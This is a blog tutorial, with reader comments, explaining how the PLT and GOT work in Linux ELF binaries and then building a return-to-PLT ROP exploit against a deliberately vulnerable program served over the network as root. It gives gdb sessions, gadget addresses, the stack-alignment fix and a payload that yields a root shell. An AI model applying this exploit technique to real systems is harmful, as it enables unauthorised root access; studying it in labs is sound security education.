Return to PLT, GOT to bypass ASLR remotely
We learned how to use format string vulnerability to leak contents of memory to bypass nx bit, stack canary and ASLR in last post. This time we will focus on what are Procedure Linkage Table and Global Offset Table. As we know all instructions for our C functions like printf, scanf, malloc, system, etc are in glibc. When we call such functions in our code, they are dynamically linked to our binary and then executed unless the -static option was given during compilation. This greatly reduces the size of executable. Let's look a little bit on how it happens.
Consider this small code.
Compile it with '-no-pie' flag. Position Independent Executable (PIE) is an exploit mitigation technique which loads different sections of executable at random addresses making it harder for attacker to find correct address. Addresses in such executables are usually calculated by relative offsets. We don't want that now.
virtual@mecha:~$ gcc plt_demo.c -o plt_demo -no-pie
Let's load it in gdb and see.virtual@mecha:~$ gdb -q plt_demo
Reading symbols from plt_demo...(no debugging symbols found)...done.
gdb-peda$ b *main+11
Breakpoint 1 at 0x4005cd
gdb-peda$ r
Starting program: /home/archer/plt_demo
[----------------------------------registers-----------------------------------]
RAX: 0x4005c2 (: push rbp)
RBX: 0x0
RCX: 0x7ffff7dd2578 --> 0x7ffff7dd3be0 --> 0x0
RDX: 0x7fffffffd938 --> 0x7fffffffde05 ("XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0")
RSI: 0x7fffffffd928 --> 0x7fffffffdde0 ("/home/archer/plt_demo")
RDI: 0x400684 ("This is the first printf.")
RBP: 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push r15)
RIP: 0x4005cd (<main+11>: call 0x4004c0 <puts@plt>)
R8 : 0x7ffff7dd3be0 --> 0x0
R9 : 0x7ffff7dd3be0 --> 0x0
R10: 0x3
R11: 0x2
R12: 0x4004e0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffd920 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4005c2 : push rbp
0x4005c3 <main+1>: mov rbp,rsp
0x4005c6 <main+4>: lea rdi,[rip+0xb7] # 0x400684
=> 0x4005cd <main+11>: call 0x4004c0 <puts@plt>
0x4005d2 <main+16>: lea rdi,[rip+0xc5] # 0x40069e
0x4005d9 <main+23>: call 0x4004c0 <puts@plt>
0x4005de <main+28>: lea rdi,[rip+0xc9] # 0x4006ae
0x4005e5 <main+35>: call 0x4004d0 <system@plt>
Guessed arguments:
arg[0]: 0x400684 ("This is the first printf.")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push r15)
0008| 0x7fffffffd848 --> 0x7ffff7a3f06b (<__libc_start_main+235>: mov edi,eax)
0016| 0x7fffffffd850 --> 0x0
0024| 0x7fffffffd858 --> 0x7fffffffd928 --> 0x7fffffffdde0 ("/home/archer/plt_demo")
0032| 0x7fffffffd860 --> 0x100040000
0040| 0x7fffffffd868 --> 0x4005c2 (: push rbp)
0048| 0x7fffffffd870 --> 0x0
0056| 0x7fffffffd878 --> 0x81a10dfb5a7dcac5
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x00000000004005cd in main ()
You would have noticed while debugging programs by now that whenever we call a function example 'puts'. We see puts@plt is called instead of directly calling the function. You will notice that this address actually belongs to .plt (Procedure Linkage Table) section of elf.virtual@mecha:~$ objdump plt_demo -h
plt_demo: file format elf64-x86-64
Sections:
Idx Name Size VMA LMA File off Algn
11 .plt 00000030 00000000004004b0 00000000004004b0 000004b0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
20 .got 00000020 0000000000600fe0 0000000000600fe0 00000fe0 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .got.plt 00000028 0000000000601000 0000000000601000 00001000 2**3
CONTENTS, ALLOC, LOAD, DATA
Now let's step into(si) 'puts@plt'.gdb-peda$ si
[----------------------------------registers-----------------------------------]
RAX: 0x4005c2 (: push rbp)
RBX: 0x0
RCX: 0x7ffff7dd2578 --> 0x7ffff7dd3be0 --> 0x0
RDX: 0x7fffffffd938 --> 0x7fffffffde05 ("XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0")
RSI: 0x7fffffffd928 --> 0x7fffffffdde0 ("/home/archer/compiler_tests/plt_demo")
RDI: 0x400684 ("This is the first printf.")
RBP: 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffd838 --> 0x4005d2 (<main+16>: lea rdi,[rip+0xc5] # 0x40069e)
RIP: 0x4004c0 (<puts@plt>: jmp QWORD PTR [rip+0x200b52] # 0x601018)
R8 : 0x7ffff7dd3be0 --> 0x0
R9 : 0x7ffff7dd3be0 --> 0x0
R10: 0x3
R11: 0x2
R12: 0x4004e0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffd920 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4004b0: push QWORD PTR [rip+0x200b52] # 0x601008
0x4004b6: jmp QWORD PTR [rip+0x200b54] # 0x601010
0x4004bc: nop DWORD PTR [rax+0x0]
=> 0x4004c0 <puts@plt>: jmp QWORD PTR [rip+0x200b52] # 0x601018
| 0x4004c6 <puts@plt+6>: push 0x0
| 0x4004cb <puts@plt+11>: jmp 0x4004b0
| 0x4004d0 <system@plt>: jmp QWORD PTR [rip+0x200b4a] # 0x601020
| 0x4004d6 <system@plt+6>: push 0x1
|-> 0x4004c6 <puts@plt+6>: push 0x0
0x4004cb <puts@plt+11>: jmp 0x4004b0
0x4004d0 <system@plt>: jmp QWORD PTR [rip+0x200b4a] # 0x601020
0x4004d6 <system@plt+6>: push 0x1
0x4004db <system@plt+11>:jmp 0x4004b0
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd838 --> 0x4005d2 (<main+16>: lea rdi,[rip+0xc5] # 0x40069e)
0008| 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push r15)
0016| 0x7fffffffd848 --> 0x7ffff7a3f06b (<__libc_start_main+235>: mov edi,eax)
0024| 0x7fffffffd850 --> 0x0
0032| 0x7fffffffd858 --> 0x7fffffffd928 --> 0x7fffffffdde0 ("/home/archer/compiler_tests/plt_demo")
0040| 0x7fffffffd860 --> 0x100040000
0048| 0x7fffffffd868 --> 0x4005c2 (: push rbp)
0056| 0x7fffffffd870 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004004c0 in puts@plt ()
gdb-peda$ x/gx 0x601018
0x601018: 0x00000000004004c6
We reach puts@plt. Here you can see there is first a jump to $rip+0x200b52 i.e. 0x601018 which is in .got.plt section. But currently it just contains the address to *puts@plt+6. So instruction pointer now points to next instruction in puts@plt instead of jumping to that address. Then it pushes a value on stack and then there is unconditional jump to address 0x4004b0 which also belongs to plt section. Also if you see plt entry of system, it also pushes a value on stack then jumps to that address. Then again it pushes some value on stack and then jumps to 0x601010 which again jumps to another address which belongs to '/usr/lib/ld-*.so' as you can see below and we have finally reached _dl_runtime_resolve_xsavec.
gdb-peda$ x/gx 0x601010
0x601010: 0x00007ffff7ded4a0
gdb-peda$ x/5i 0x00007ffff7ded4a0
0x7ffff7ded4a0 <_dl_runtime_resolve_xsavec>: push rbx
0x7ffff7ded4a1 <_dl_runtime_resolve_xsavec+1>: mov rbx,rsp
0x7ffff7ded4a4 <_dl_runtime_resolve_xsavec+4>: and rsp,0xffffffffffffffc0
0x7ffff7ded4a8 <_dl_runtime_resolve_xsavec+8>: sub rsp,QWORD PTR [rip+0x20f339] # 0x7ffff7ffc7e8 <_rtld_local_ro+168>
0x7ffff7ded4af <_dl_runtime_resolve_xsavec+15>: mov QWORD PTR [rsp],rax
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x00401000 r-xp /home/archer/compiler_tests/plt_demo
0x00600000 0x00601000 r--p /home/archer/compiler_tests/plt_demo
0x00601000 0x00602000 rw-p /home/archer/compiler_tests/plt_demo
0x00007ffff7a1c000 0x00007ffff7bcf000 r-xp /usr/lib/libc-2.27.so
0x00007ffff7bcf000 0x00007ffff7dce000 ---p /usr/lib/libc-2.27.so
0x00007ffff7dce000 0x00007ffff7dd2000 r--p /usr/lib/libc-2.27.so
0x00007ffff7dd2000 0x00007ffff7dd4000 rw-p /usr/lib/libc-2.27.so
0x00007ffff7dd4000 0x00007ffff7dd8000 rw-p mapped
0x00007ffff7dd8000 0x00007ffff7dfd000 r-xp /usr/lib/ld-2.27.so
0x00007ffff7fb3000 0x00007ffff7fb5000 rw-p mapped
0x00007ffff7ff7000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /usr/lib/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /usr/lib/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffdd000 0x00007ffffffff000 rw-p [stack]
gdb-peda$ si
[-------------------------------------code-------------------------------------]
0x4004ae <_init+22>: ret
0x4004af: add bh,bh
0x4004b1: xor eax,0x200b52
=> 0x4004b6: jmp QWORD PTR [rip+0x200b54] # 0x601010
| 0x4004bc: nop DWORD PTR [rax+0x0]
| 0x4004c0 <puts@plt>: jmp QWORD PTR [rip+0x200b52] # 0x601018
| 0x4004c6 <puts@plt+6>: push 0x0
| 0x4004cb <puts@plt+11>: jmp 0x4004b0
|-> 0x7ffff7ded4a0 <_dl_runtime_resolve_xsavec>: push rbx
0x7ffff7ded4a1 <_dl_runtime_resolve_xsavec+1>: mov rbx,rsp
0x7ffff7ded4a4 <_dl_runtime_resolve_xsavec+4>: and rsp,0xffffffffffffffc0
0x7ffff7ded4a8 <_dl_runtime_resolve_xsavec+8>: sub rsp,QWORD PTR [rip+0x20f339] # 0x7ffff7ffc7e8 <_rtld_local_ro+168>
JUMP is taken
So what the hell is all going on here ? What is this ld.so ? Why are we in it ?Let's read man page for ld.so.
DESCRIPTION
The programs ld.so and ld-linux.so* find and load the shared objects (shared libraries) needed by a program,
prepare the program to run, and then run it.
Linux binaries require dynamic linking (linking at run time) unless the -static option was given to ld(1) during compilation.
Oh ! So this is our magic program which finds the correct addresses of functions in other shared libraries even when ASLR is on and dynamically links it to executable via Global Offset Table. Offsets to global variables from dynamic libraries are not known during compile time, this is why they are read from the GOT table during runtime. There's a lot more on how this happens that you can read.So this way the program counter will reach the correct address of our function in libc or any shared library. The address is then saved in GOT entry of function. So whenever you call the same function again it will jump directly to correct address. You can verify it.
Breakpoint 2, 0x00000000004005d9 in main ()
gdb-peda$ si
[----------------------------------registers-----------------------------------]
RAX: 0x1a
RBX: 0x0
RCX: 0x7ffff7b059d4 (<write+20>: cmp rax,0xfffffffffffff000)
RDX: 0x7ffff7dd4720 --> 0x0
RSI: 0x602260 ("This is the first printf.\n")
RDI: 0x40069e ("This is second.")
RBP: 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffd838 --> 0x4005de (<main+28>: lea rdi,[rip+0xc9] # 0x4006ae)
RIP: 0x4004c0 (<puts@plt>: jmp QWORD PTR [rip+0x200b52] # 0x601018)
R8 : 0x3
R9 : 0x0
R10: 0x602010 --> 0x0
R11: 0x246
R12: 0x4004e0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffd920 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4004b1: xor eax,0x200b52
0x4004b6: jmp QWORD PTR [rip+0x200b54] # 0x601010
0x4004bc: nop DWORD PTR [rax+0x0]
=> 0x4004c0 <puts@plt>: jmp QWORD PTR [rip+0x200b52] # 0x601018
| 0x4004c6 <puts@plt+6>: push 0x0
| 0x4004cb <puts@plt+11>: jmp 0x4004b0
| 0x4004d0 <system@plt>: jmp QWORD PTR [rip+0x200b4a] # 0x601020
| 0x4004d6 <system@plt+6>: push 0x1
|-> 0x7ffff7a8cbf0 <puts>: push r13
0x7ffff7a8cbf2 <puts+2>: push r12
0x7ffff7a8cbf4 <puts+4>: mov r12,rdi
0x7ffff7a8cbf7 <puts+7>: push rbp
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd838 --> 0x4005de (<main+28>: lea rdi,[rip+0xc9] # 0x4006ae)
0008| 0x7fffffffd840 --> 0x400600 (<__libc_csu_init>: push r15)
0016| 0x7fffffffd848 --> 0x7ffff7a3f06b (<__libc_start_main+235>: mov edi,eax)
0024| 0x7fffffffd850 --> 0x0
0032| 0x7fffffffd858 --> 0x7fffffffd928 --> 0x7fffffffdde0 ("/home/archer/compiler_tests/plt_demo")
0040| 0x7fffffffd860 --> 0x100040000
0048| 0x7fffffffd868 --> 0x4005c2 (: push rbp)
0056| 0x7fffffffd870 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004004c0 in puts@plt ()
When we call the second puts. This time it jumps directly into libc's puts address as the correct address is now written in GOT . Same procedure will happen when other shared library functions are called.Return to PLT
Cool. We know how PLT and GOT work. Now how can we (ab)use them ? Since this is a position independent executable the functions and sections in binary will always be loaded at same address. As an attacker we can return to these functions with proper parameters and alter the control flow in our favour to some extent without worrying about ASLR. Check out this simple program, we will serve remotely.It sets no buffering for stdin and stdout. Executes "clear" to clear terminal and then asks some description with scanf. It might do something else with it but that's not important to us now. Compile it without stack canary and -no-pie.
virtual@mecha:~$ gcc ret2plt.c -o ret2plt -fno-stack-protector -no-pie
We will be running it on server as root so use this command.remote@server:~$ sudo socat tcp-listen:5556,reuseaddr,fork, exec:"./ret2plt"
Since there is no stack canary we can easily overwrite return address. Now we can try to return to some interesting functions. Did you notice system function ? If we can return to system@plt with 'sh' as argument, we can get shell. More reasons not to use system like functions in your code. ;pSince we are working on 64 bit system, we need to pass parameter to system from rdi register. So to execute 'sh'. Address of sh string should be in rdi register. Can we find a rop gadget like pop rdi; ret in binary itself ? So we can return to it first so that address of 'sh' can be popped into rdi and then we can call system.
Two things to find.
- Address of 'pop rdi; ret' instruction.
- Address of 'sh' string.
For 'pop rdi' instruction, I am using ROPgadget tool on executable.
virtual@mecha:~$ python ROPgadget.py --binary ~/compiler_tests/ret2plt --only "pop|ret" | grep rdi
0x00000000004007b3 : pop rdi ; ret
Awesome. The instruction is available at address 0x4007b3 in binary.To find 'sh' string you can use strings and grep command or just load it in gdb and find.
gdb-peda$ find sh
Searching for 'sh' in: None ranges
Found 105 results, display max 105 items:
ret2plt : 0x400821 --> 0xa00000000006873 ('sh')
ret2plt : 0x600821 --> 0xa00000000006873 ('sh')
gdb-peda$ x/s 0x400821-19
0x40080e: "Please don't ;) crash"
If you check, that sh is actually from the end of the string crash. We can use it from address of sh and pass it as argument. Great.Now sometimes "sh" might not be available in binary. Then you can provide one yourself. How you ask ? One thing you can do is use functions like scanf,gets,etc which take input and store it in writable region of binary. You can find such region with vmmap. Then input the string, and later pass the address you stored it at to 'system'. Or another thing can be to send it with our payload. Then next you have to find it's address. For that you can use ret2plt to functions like printf, puts, etc. that give output in binary and leak some addresses. Then you can calculate offset to "sh" string. You can make the program to take input again after that either by building rop chain with functions to input and overwrite got entry of functions for more chain (you may need to clean stack here with pop) or simply restarting the program by pointing to '_start' or 'main'. Try to do this as homework. :p
Only thing left is to find offset to return address. You can find that with long input or pattern and analyzing in gdb.
virtual@mecha:~$ /opt/metasploit/tools/exploit/pattern_offset.rb -q 0x6541316541306541
[*] Exact match at offset 120
Found it at 120 bytes. Time to make exploit. Here's what our payload will be.payload = 'A'*120 + pop_rdi;ret + address_of_'sh' + system@plt
One thing to keep in mind here is bad characters, since there is scanf("%s",desc); in source code from which we will be entering our payload. Here's what man page of scanf says for %s.s Matches a sequence of non-white-space characters; the next pointer must be a pointer to the initial element of a character array that is long enough to hold the input
sequence and the terminating null byte ('\0'), which is added automatically.
The input string stops at white space or at the maximum field width, whichever occurs first.
So it stops at white space which is 0x20 in hex in ascii table. We have to keep in mind to not have any 0x20 in payload and we will do fine. Putting it all together, here's the exploit script.Fortunately we didn't encounter any bad character 0x20 in payload. Run it against target server and you will get a shell.
virtual@mecha:~$ python2 plt.py
[*] Connecting to server !!
[*] Connected.
######## Welcome to Command Center ########
Please don't ;) crash
Enter mission description:
>
[*] Sending payload ..
[*] Got shell. Enter commands.
Description Updated !
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),19(log)
[manjaro archer]# whoami
whoami
root
[manjaro archer]# pwd
pwd
/home/archer
[manjaro archer]#
Great. We got root as target server was running as root.A tip.
If you see the exploit getting segmentation fault in "movaps XMMWORD PTR [rsp+0x40],xmm0" while calling system, it might be because your stack isn't 16 byte aligned. That's just a standard. You may read more about it here, here and here or just google "movaps 16 byte stack alignment". To solve the issue just execute a simple "ret" gadget/instruction. By executing "ret" it will pop off the 8 bytes on top of stack and return to that so it will realign the stack to 16 bytes. So updated payload here will be:ret = 0x40074f # address of ret instruction in binary.
buf = "A"*120 # junk
buf+=p64(ret) # <==== execute 'ret' to make stack 16 bytes aligned by popping off 8 bytes off top of stack and returning to it.
buf+=p64(pop_rdi) # pop rdi;ret
buf+=p64(sh) # 'sh' goes into rdi
buf+=p64(system_plt) # system
Thanks to the comment for pointing that out.
This time we used return to plt to bypass ASLR. We just called system to get shell as it was in the code. You can use PLT and GOT to call more functions without worrying about ASLR and with proper arguments even leak important addresses and memory with them so they can be helpful in further exploitation. We will see more on that in next articles. Keep practicing.
For any queries contact : @ShivamShrirao
Next Read: Format Strings: GOT Table Overwrite To Change Control Flow Remotely On ASLR
Wow Thanks for your Tutorial, but
ReplyDelete"Now sometimes "sh" might not be available in binary. Then you can provide one yourself. How you ask ? One thing you can do is use functions like scanf,gets,etc which take input and store it in writable region of binary. You can find such region with vmmap. Then input the string, and later pass the address you stored it at to 'system'. "
if i only have gets() function in binary, how can i choose memory region (writeable) of binary application? isn't gets() function only write into stack?
i hope you make some tutorial/example about it, coz its really help me to understand vulnerability of gets() even ASLR enabled.
You can choose the writable memory region with "vmmap" command in gdb-peda. It shows process memory mappings. And choose a writable one. Gets can write anywhere. You just have to pass the address to write to as argument. See man page of gets.
DeleteSry I have been trying to write next article for quite some time now. But couldn't get enough time. I will try to complete in next few weeks. Thanks.
Hi shivam,
ReplyDeleteyour blog is just awesome. I just wanted to ask you wwhich version of Linux and gcc were you using while doing the experiments?
Thanks. Glad you liked.
DeleteIt was prolly gcc version 7.4.0 and Ubuntu 18.04.1 64bit. And another was running manjaro 64bit, can't confirm it's gcc version. Though you needn't worry about version. I haven't seen big change recently. Should work across most versions and distributions.
I am using Ubuntu18.04 the application is giving segmentation fault before the RET instruction is executed.The payload is restricted till the return address.If i overwrite any locations after the return address i am facing this issue. Otherwise it is ok. Did you face this issue and if so how did you get around it ?
DeleteSegmentation fault occurs when u write or point to areas you aren't supposed to or which do not exist. First make sure u are running 64 bit OS, articles are for 64 bit, then check the addresses are correct, execute each instruction step by step in gdb-peda and analyse each step. Check out the initial articles for basics: https://www.ret2rop.com/2018/08/cpu-memory-and-buffer-overflow.html
DeleteIf still facing issue I will need more info.
I have debugged as you have told .I am successfully able to return to system@PLT with "sh" string in RDI register.But I am getting segmentation fault in ":movaps XMMWORD PTR [rsp+0x40],xmm0 " . I am not able to trace out the reason.
DeleteWell the instructions with xmm registers aren't supposed to be here. Does the program follow the proper control flow ? Check by executing each instruction step by step. I need more info of state of program. You may contact me at fb.com/mregrey and discuss in detail.
Delete`I have debugged as you have told .I am successfully able to return to system@PLT with "sh" string in RDI register.But I am getting segmentation fault in ":movaps XMMWORD PTR [rsp+0x40],xmm0 " . I am not able to trace out the reason.`
DeleteThis is a stack alignment issue:
The MOVAPS instruction only calls if the stack is 16-bit aligned.
Try adding a ret gadget at the start of your chain.
This is a UBUNTU 18.04 LTS MOVAPS issue (Google it)
Ohh, interesting. Thanks for that. I hadn't faced such issue, will look into it and update.
DeleteYup confirmed on Ubuntu. MOVAPS instruction requires stack to be 16 byte aligned before calling. This can be done simply by first executing ret instruction so the stack moves that 8 bytes. Thanks, I will update in the article.
Delete